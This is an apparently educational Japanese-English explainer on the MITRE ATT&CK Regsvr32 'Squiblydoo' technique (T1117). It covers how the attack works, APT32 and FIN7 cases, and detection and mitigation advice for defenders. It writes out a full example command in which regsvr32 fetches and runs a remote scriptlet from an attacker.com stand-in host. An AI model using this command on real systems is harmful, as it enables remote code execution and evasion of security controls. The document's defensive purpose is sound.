Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)
Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.
Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)
T1117は「Regsvr32」として定義されていた、Windows環境における極めて強力かつ実戦的な「防御回避(Defense Evasion)」および「実行(Execution)」のテクニックです。
Windows標準のシステムツールである regsvr32.exe を悪用し、「セキュリティソフトの監視をすり抜けながら、インターネット上のサーバー、あるいはローカル内にある悪意あるスクリプトやDLL(拡張ライブラリ)をプロキシ(身代わり)実行させる」手法、通称「Squiblydoo(スクイブリドゥ)」を指します。
この手法で攻撃者は、「ファイルレス(Fileless)に近い状態で、ウイルス対策ソフトに一切検知されることなく、C2サーバーからバックドアを直接メモリに読み込んで実行すること」を実現します。
アプリケーションホワイトリスト(AppLocker等)の完全なバイパス:
多くの企業では、安全性のために「指定された正規のWindowsプログラム(notepad.exe や regsvr32.exe など)以外は実行を禁止する」という制限(ホワイトリスト)をかけています。T1117は、その信頼されている正規ツールである regsvr32.exe にマルウェアを「おんぶ」させて実行するため、制限を無傷で突破できます。
インターネットからの直接実行(ディスクに痕跡を残さない):
後述する特定のコマンド引数(scrobj.dll)を組み合わせることで、ハードディスクにマルウェアの本体ファイルを保存することなく、インターネット上のURLから直接スクリプトコードを読み込んでメモリ上で実行できます。これにより、従来のファイルスキャン型のアンチウイルスは完全に盲目になります。
regsvr32.exe は本来、OLEコントロールやDLL(動的リンクライブラリ)をWindowsシステムに登録(レジストリ登録)するための正規コマンドです。
しかし、このツールには「ネットワーク上の特定ファイルをダウンロードして実行する機能」と「レジストリ登録を行わずに、指定されたCOMコンポーネント(スクリプトレット)の実行だけを行う機能」が備わっています。攻撃者はこの仕様を悪用します。
初期侵入と足がかりの確立:
攻撃者はフィッシングメールのマクロや、別の手段でコマンド(cmdやPowerShell)を実行できる足がかりを得ます。
悪意あるスクリプトレットの準備:
C2サーバー(例: http://attacker.com/)に、バックドアを実行するための悪意あるXML/スクリプトコード(.sct 拡張子などを持つスクリプトレットファイル payload.sct)を配置しておきます。
Regsvr32の悪用実行(トリガー):
ターゲットの端末で、以下の特殊な引数を組み合わせたワンライナー(1行のコマンド)を実行します。
コマンドの例:
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
/s:サイレントモード(エラー画面やダイアログを一切出さない)/n:レジストリへの登録処理を行わない(痕跡を減らす)/u:アンインストール(登録解除)処理として呼び出す/i:指定したURL(またはローカルパス)を引数として scrobj.dll に渡すコードのダウンロードとメモリ展開:
Windowsは regsvr32.exe を使って、指定されたURLから payload.sct をバックグラウンドでダウンロードします。そして、Windowsの標準コンポーネントである scrobj.dll(Script Component Runtime)がその中身を解釈し、メモリ上で攻撃コードを直接実行します。
バックドアの確立(目的達成):
セキュリティソフトのログには「正規の regsvr32.exe が正常に動作した」としか記録されませんが、裏ではC2サーバーへの常時接続(バックドア)が確立され、システムが完全掌握されます。
「信頼されたツール」だからといって通信や引数のチェックを怠らない、厳格な監視設計が必要です。
Regsvr32のネットワーク通信の遮断・監視(最重要):
通常の業務において、regsvr32.exe が外部のインターネット(HTTP/HTTPSポートなど)へ直接通信を行うことは原則としてありません。ファイアウォールやEDRを用いて、「regsvr32.exe プロセスによる外部ネットワークへの通信」を検知し、自動的にブロックするように設定します。
特定の引数の組み合わせ(scrobj.dll / /i:http)の監視:
SIEMやEDRでプロセスの起動引数(Arguments)を常時監視します。コマンドラインに /s /n /u /i: や、scrobj.dll という文字列が含まれていた場合は、高確率で本テクニック(T1117)が悪用されているため、即座にアラートを発生させてプロセスを強制終了させます。
WDAC(Windows Defender Application Control)による制限:
Windowsの強力な制御機能であるWDAC(またはAppLocker)のポリシーを最新にアップデートし、regsvr32.exe のような「Lolbins(環境寄生バイナリ:悪用可能な正規ツール)」に対して、実行可能なスクリプトやDLLの署名を厳格に制限するルールを適用します。
regsvr32.exe の /i 引数にURLや任意のスクリプトコンポーネントを渡すことで、内部の実行フロー(scrobj.dll の呼び出し)を攻撃者が外部から意図通りにコントロール(インジェクション)できてしまう設計上の仕様・弱点。標的型攻撃(APT)から世界的なランサムウェアの初期侵入フェーズまで、あらゆるサイバー犯罪アクターの標準武器セットに組み込まれています。
OceanLotus(APT32 / ベトナム政府系とされるハッカー集団)の事例:
東南アジアの企業や政府機関を狙うこのグループは、初期侵入後のステージング(次の凶悪なマルウェアをダウンロードして実行するフェーズ)において、この Regsvr32(旧T1117 / 現T1218.010) を極めて巧妙に悪用しました。彼らは被害者に開かせた不正な文書ファイルからマクロを起動し、マクロ内部から今回の regsvr32.exe /s /n /u /i:http://... scrobj.dll を実行させることで、アンチウイルス製品の目の前で、メインのバックドア(Cobalt Strikeなど)をメモリ上に無音で展開・ロードさせることに成功しました。
FIN7(動機が金銭の高度なサイバー犯罪グループ)の事例:
金融機関や小売業を狙うFIN7も、検知回避の主軸としてSquiblydooを多用しました。彼らはJavaScriptやVBScriptベースの高度な難読化スクリプトレット(.sct)を自前のサーバーに用意し、それを一般企業のPCに regsvr32 経由で直接吸い上げさせることで、ディスクにファイルを一切残さない隠密性の高いインフラ侵害を連発しました。
SOC(セキュリティオペレーションセンター)のログ分析において、regsvr32.exe の親プロセス(起動元)を確認することは非常に重要です。
もし、regsvr32.exe の親プロセスが **cmd.exe、powershell.exe、あるいは WordやExcelなどの winword.exe、excel.exe** になっていた場合、それは業務上の正常なレジストリ登録作業ではなく、マクロやハッカーのコマンドからこの T1117(Regsvr32プロキシ実行)が発動した決定的な証拠(レッドフラッグ)となります。
即座に対象端末の通信履歴を調べ、どの外部IP/URLからスクリプトが読み込まれたかを突き止めることが、被害を最小限に抑えるブレイクスルーとなります。
この攻撃手法に関連する CVE は登録されていません。